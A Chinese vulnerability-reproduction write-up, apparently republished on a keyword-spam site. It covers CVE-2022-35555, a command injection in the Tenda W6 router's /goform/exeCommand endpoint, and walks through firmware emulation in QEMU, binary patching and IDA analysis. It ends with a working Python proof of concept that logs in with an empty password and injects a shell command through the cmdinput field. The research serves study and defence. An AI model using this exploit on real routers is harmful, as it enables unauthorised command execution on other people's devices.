当前位置: 首页 > wzjs >正文

高端网站建设 磐石网络专注建设网站西丽

高端网站建设 磐石网络专注,建设网站西丽,设计网页的一般步骤,莆田中小企业网站制作文章目录 1.漏洞描述 2.环境搭建 3.漏洞复现 4.漏洞分析 4.1:代码分析  4.2:流量分析 5.poc代码: 1.漏洞描述 漏洞编号:CVE-2022-35555 漏洞名称:Tenda W6 命令注入 威胁等级:高危 漏洞详情&#xff1…

文章目录

1.漏洞描述

2.环境搭建

3.漏洞复现

4.漏洞分析

   4.1:代码分析 

   4.2:流量分析

5.poc代码:


1.漏洞描述

漏洞编号:CVE-2022-35555

漏洞名称:Tenda W6 命令注入

威胁等级:高危

漏洞详情:Tenda W6中/goform/exeCommand存在命令注入漏洞,通过构造cmdinput参数可执行任意命令。

影响范围:V1.0.0.9(4122)


2.环境搭建

qemu-user系统编译:创建qemu目录,下载qemu-2.5.0.tar.bz2:

https://download.qemu.org/qemu-2.5.0.tar.bz2

1.将下载后的qemu-2.5.0.tar.bz2解压。

2.查找目录linux-user。

3.给目录linux-user的elfload.c 文件中struct elfhdr *ehdr函数中添加&& ehdr->e_shentsize == sizeof(struct elf_shdr) 这个条件。

#配置qemu-user系统:

$./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --static --python=/usr/bin/python2.7

#编译qemu:

$make -j8

#安装qemu:

$sudo make install

安装成功。

3.漏洞复现

在/home/CVE-2022-35555目录下,用qemu-usr用户模式模拟,把固件模拟运行起来。

1.首先在CVE-2022-35555.py同级目录下,binwalk -eM 解压US_W6V1.0BR_V1.0.0.9(4122)_CN.bin文件。

2.然后对binwalk解包后的固件中的任何二进制文件执行 file 命令,查看下设备的cpu 架构。

命令:file ./bin/httpd

可知Tenda W6路由器的httpd是基于MIPS 架构的 32 位小端序可执行文件

3.给httpd文件可执行权限,命令:chmod +x tdhttpd

4.复制squashfs-root目录下的webroot_ro文件到webroot中

命令:

rm -rf webroot 

ln -s webroot_ro/ webroot

5.将user/local/bin目录下qemu-mipsel文件复制到squashfs-root目录,重命名为qemu-mipsel-static。

注意:如果安装过(或有其它原因)qemu-mipsel可能被重命名为qemu-usr-mipsel

执行模拟命令,sudo qemu-mipsel-static -L . ./bin/httpd

但是卡在这里了,在IDA里面看一下httpd,搜索 welcome,发现是因为有一个check_network检查。把两处“jalr $t9”改为 “li $v0,1”,就能通过检查。

具体修改时,先在 https://disasm.pro/ 上查一下汇编对应的十六进制:

6.将path 后的httpd 替换原来的文件。

重新给httpd文件可执行权限,进入squashfs-root目录,打开终端。

执行命令: sudo qemu-mipsel-static -L . ./bin/httpd

很长,请忽略。

直接看有用的部分:

路由器运行在80端口。

ifconfig

得到本机ip,在浏览器中访问:192.168.124.153:80

用户名和密码都保持为空,登录后获得如下界面:

执行poc后可在临时文件中得到hack文件:

原:

python a.py

4.漏洞分析

4.1:代码分析

使用 binwalk -e 解包固件,获得文件以备后续分析:

根据漏洞通告goform/exeCommand请求会触发漏洞,查找可执行文件httpd。

可知httpd位于:

_US_W6V1.0BR_V1.0.0.9(4122)_CN.bin.extracted/squashfs-root/bin/httpd

在ida中查找函数:exeCommand

v7 变量(cmdinput 参数的值)被复制到 s+4 位置处:vos_strcpy(s + 4, v7);。

然后,该指针 s 与其他参数一起作为 tpi_get_ping_output() 函数的参数进行调用:tpi_get_ping_output(s, v8, 4096)。

并且cmdinput 参数取到的值没有经过任何检查就传到 tpi_get_ping_output 函数,存在命令注入风险。

使用 010editor 全文件夹搜索 tpi_get_ping_output,找到该函数的具体实现在\squashfs-root\squashfs-root\lib\libtpi.so中。

ida打开libtpi.so查找tpi_get_ping_output函数

tpi_get_ping_output 函数使用 popen() 函数将传递给它的命令字符串在一个 shell 中执行,然后通过 fread() 函数读取 Ping 命令的输出(即响应数据),并将响应数据存储在指向 a2 参数的缓冲区中,并返回命令输出结果。

故我们可以构造:

http://<ip router>/goform/exeCommand+"cmdinput=asd;ls -la . > 注入命令来复现此漏洞

4.2:流量分析 

5.poc代码:

代码复现时环境ip为 192.168.241.131

import requests
from pwn import *burp0_url = "http://192.168.241.131/login/Auth"
burp0_headers = {"Host":"192.168.241.131",
"Content-Length":"65",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}data0 = 'usertype=admin&password=&time=2023;5;31;19;51;6&username='
requests.post(burp0_url,headers=burp0_headers,data=data0, verify=False,timeout=1)burp1_url = "http://192.168.241.131/goform/exeCommand"
burp1_headers = {"Host":"192.168.241.131",
"Content-Length":"295",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}data1="cmdinput=asd;ls -la . > ./tmp/hack;aa"+'a'*0x0requests.post(burp1_url,headers=burp1_headers,data=data1, verify=False,timeout=1)

实现了两个HTTP POST请求,第一个用来登录,第二个用来执行漏洞利用。

http://www.dtcms.com/wzjs/570934.html

相关文章:

  • 网站做好是需要续费的吗展示类网站模板js
  • 网站建设便宜不可信wordpress音乐模板
  • 没有备案的网站怎么挂广告企业网站建设的特点
  • 网页制作素材网站杭州网站建设方案推广
  • 《c程序设计》精品课程网站建设网站客户端制作
  • 网站联合推广方案国内网站在国外访问很慢
  • 江西省建设部网站杭州it外包公司
  • 呼和浩特公司网站制作建设积分网站
  • 做地产的设计网站网络科技公司名字取名大全
  • 35互联做的网站怎么建立一个网站
  • 金阳建设集团网站网业认证wifi入口
  • 以遇见为主题做网站河北邢台人品怎么样
  • 北京大兴区网站建设网站 网络架构
  • 瑞金建设局网站中国建设工程造价管理协会
  • 百度知道山东网站建设二级域名查询网站
  • 网站设计英语惠州企业网站seo
  • 基因数据库网站开发价格重庆网站建设机构
  • 重庆网站建设 熊掌号外贸做编织袋常用网站
  • 广州部队网站建设费用重庆妇科医院排名
  • 做企业网站需要买什么wordpress能导入多少产品
  • 宁波正规网站建设方式高端网站报价
  • 做外贸的网站简称为什么网站建设银行网站怎么下载
  • 宁晋网站建设多少钱网页设计属于平面设计吗
  • 俄罗斯网站后缀职业培训网络平台
  • wordpress 4.7seo专业培训机构
  • 山东省建设银行网站建筑施工特种证书查询
  • 十大网站排行榜企业的品牌宣传策划
  • 厚街网站建设公司电脑哪里做模板下载网站
  • 专业做淘宝网站绍兴网站建设资料 优帮云
  • 做民宿的网站环球资源网入驻费用